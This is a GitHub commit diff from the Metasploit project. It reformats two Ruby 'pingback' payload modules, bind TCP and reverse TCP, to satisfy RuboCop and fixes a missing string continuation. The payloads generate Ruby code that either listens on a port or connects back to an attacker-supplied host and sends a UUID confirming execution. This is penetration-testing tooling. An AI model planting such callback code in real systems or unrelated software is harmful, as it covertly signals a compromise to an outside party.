Skip to content

Commit 54e2f63

Browse files
authored
Merge pull request rapid7#20063 from bcoles/payloads-ruby-pingback
payloads: Ruby pingback: Resolve RuboCop violations
2 parents d505b96 + 5f5e278 commit 54e2f63

File tree

2 files changed

+39
-39
lines changed

2 files changed

+39
-39
lines changed
Lines changed: 21 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,41 +1,40 @@
1-
21
module MetasploitModule
3-
4-
CachedSize = 103
2+
CachedSize = 110
53

64
include Msf::Payload::Single
75
include Msf::Payload::Ruby
86
include Msf::Payload::Pingback
97
include Msf::Payload::Pingback::Options
108

119
def initialize(info = {})
12-
super(merge_info(info,
13-
'Name' => 'Ruby Pingback, Bind TCP',
14-
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
15-
'Author' => 'asoto-r7',
16-
'License' => MSF_LICENSE,
17-
'Platform' => 'ruby',
18-
'Arch' => ARCH_RUBY,
19-
'Handler' => Msf::Handler::BindTcp,
20-
'Session' => Msf::Sessions::Pingback,
21-
'PayloadType' => 'ruby'
22-
))
10+
super(
11+
merge_info(
12+
info,
13+
'Name' => 'Ruby Pingback, Bind TCP',
14+
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
15+
'Author' => 'asoto-r7',
16+
'License' => MSF_LICENSE,
17+
'Platform' => 'ruby',
18+
'Arch' => ARCH_RUBY,
19+
'Handler' => Msf::Handler::BindTcp,
20+
'Session' => Msf::Sessions::Pingback,
21+
'PayloadType' => 'ruby'
22+
)
23+
)
2324
end
2425

2526
def generate(_opts = {})
26-
#return prepends(ruby_string)
27+
# return prepends(ruby_string)
2728
return ruby_string
2829
end
2930

3031
def ruby_string
31-
self.pingback_uuid ||= self.generate_pingback_uuid
32+
self.pingback_uuid ||= generate_pingback_uuid
3233
return "require'socket';" \
3334
"s=TCPServer.new(#{datastore['LPORT'].to_i});"\
34-
"c=s.accept;"\
35-
"s.close;"\
36-
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}\'.unpack('m0');"
37-
"c.close"
35+
'c=s.accept;'\
36+
's.close;'\
37+
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}\'.unpack('m0');" \
38+
'c.close'
3839
end
3940
end
40-
41-
Lines changed: 18 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,26 @@
1-
21
module MetasploitModule
3-
4-
CachedSize = 100
2+
CachedSize = 107
53

64
include Msf::Payload::Single
75
include Msf::Payload::Ruby
86
include Msf::Payload::Pingback
97
include Msf::Payload::Pingback::Options
108

119
def initialize(info = {})
12-
super(merge_info(info,
13-
'Name' => 'Ruby Pingback, Reverse TCP',
14-
'Description' => 'Connect back to the attacker, sends a UUID, then terminates',
15-
'Author' => 'asoto-r7',
16-
'License' => MSF_LICENSE,
17-
'Platform' => 'ruby',
18-
'Arch' => ARCH_RUBY,
19-
'Handler' => Msf::Handler::ReverseTcp,
20-
'Session' => Msf::Sessions::Pingback,
21-
'PayloadType' => 'ruby'
22-
))
10+
super(
11+
merge_info(
12+
info,
13+
'Name' => 'Ruby Pingback, Reverse TCP',
14+
'Description' => 'Connect back to the attacker, sends a UUID, then terminates',
15+
'Author' => 'asoto-r7',
16+
'License' => MSF_LICENSE,
17+
'Platform' => 'ruby',
18+
'Arch' => ARCH_RUBY,
19+
'Handler' => Msf::Handler::ReverseTcp,
20+
'Session' => Msf::Sessions::Pingback,
21+
'PayloadType' => 'ruby'
22+
)
23+
)
2324
end
2425

2526
def generate(_opts = {})
@@ -28,12 +29,12 @@ def generate(_opts = {})
2829
end
2930

3031
def ruby_string
31-
self.pingback_uuid ||= self.generate_pingback_uuid
32+
self.pingback_uuid ||= generate_pingback_uuid
3233
lhost = datastore['LHOST']
3334
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
3435
return "require'socket';" \
3536
"c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \
36-
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');"
37-
"c.close"
37+
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');" \
38+
'c.close'
3839
end
3940
end

0 commit comments

Comments
 (0)